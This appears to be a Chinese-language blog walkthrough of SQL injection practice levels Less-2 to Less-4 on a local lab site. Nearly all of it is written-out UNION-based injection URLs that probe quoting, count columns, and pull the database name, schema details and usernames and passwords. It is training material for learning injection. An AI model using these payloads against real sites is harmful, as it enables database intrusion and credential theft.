sixyearsorless 2020-05-07
http://localhost/sql/Less-2/?id=1 加入‘报错提醒,知道数据库的类型,根据报错信息,我们可以知道输入参数的内容被存放到数字里
http://localhost/sql/Less-2/?id=0 and 1 = 1 显示正常,我们可以知道ID类型是数字类型
http://localhost/sql/Less-1/?id=0 UNION SELECT 1,2,3 %23 匹配成功,我们知道列数是3
通过查询我们知道数据库名和管理员用户名 http://localhost/sql/Less-2/?id=0 UNION SELECT 1, database(), user() %23
通过查询我们知道了用户表名为users http://localhost/sql/Less-2/?id=0 UNION SELECT 1, database(), table_name FROM INFORMATION_SCHEMA.Tables WHERE Table_schema = ‘security‘ limit 3,1 %23
http://localhost/sql/Less-2/?id=0 UNION SELECT 1, database(), column_name FROM INFORMATION_SCHEMA.Columns WHERE Table_Schema = ‘security‘ And Table_Name = ‘users‘ limit 0,1 %23
http://localhost/sql/Less-2/?id=0 UNION SELECT 1,username, password from users limit 5,1 %23
http://localhost/sql/Less-3/?id=1‘) %23 加入‘报错提醒,知道数据库的类型,根据报错信息,我们可以知道输入参数的内容被存放到(‘中
http://localhost/sql/Less-3/?id=0‘) and (‘1‘)=1%23
http://localhost/sql/Less-3/?id=0‘) UNION SELECT 1,2,3 %23 匹配成功,我们知道列数是3
通过查询我们知道数据库名和管理员用户名 http://localhost/sql/Less-3/?id=0‘) UNION SELECT 1,database(), user() %23
通过查询我们知道了用户表名为users http://localhost/sql/Less-3/?id=0‘) UNION SELECT 1, database(), table_name FROM INFORMATION_SCHEMA.Tables WHERE Table_schema = ‘security‘ limit 3,1 %23
http://localhost/sql/Less-3/?id=0‘) UNION SELECT 1, database(), column_name FROM INFORMATION_SCHEMA.Columns WHERE Table_Schema = ‘security‘ And Table_Name = ‘users‘ limit 0,1 %23
http://localhost/sql/Less-3/?id=0‘) UNION SELECT 1,username, password from users limit 5,1 %23
http://localhost/sql/Less-4/?id=1"%23 加入‘报错提醒,知道数据库的类型,根据报错信息,我们可以知道输入参数的内容被存放到("中
http://localhost/sql/Less-4/?id=0") and ("1")=1%23
http://localhost/sql/Less-4/?id=0") UNION SELECT 1,2,3 %23 匹配成功,我们知道列数是3
通过查询我们知道数据库名和管理员用户名 http://localhost/sql/Less-4/?id=0") UNION SELECT 1,database(), user() %23
通过查询我们知道了用户表名为users http://localhost/sql/Less-4/?id=0") UNION SELECT 1, database(), table_name FROM INFORMATION_SCHEMA.Tables WHERE Table_schema = ‘security‘ limit 3,1 %23
http://localhost/sql/Less-4/?id=0") UNION SELECT 1, database(), column_name FROM INFORMATION_SCHEMA.Columns WHERE Table_Schema = ‘security‘ And Table_Name = ‘users‘ limit 0,1 %23
http://localhost/sql/Less-4/?id=0") UNION SELECT 1,username, password from users limit 5,1 %23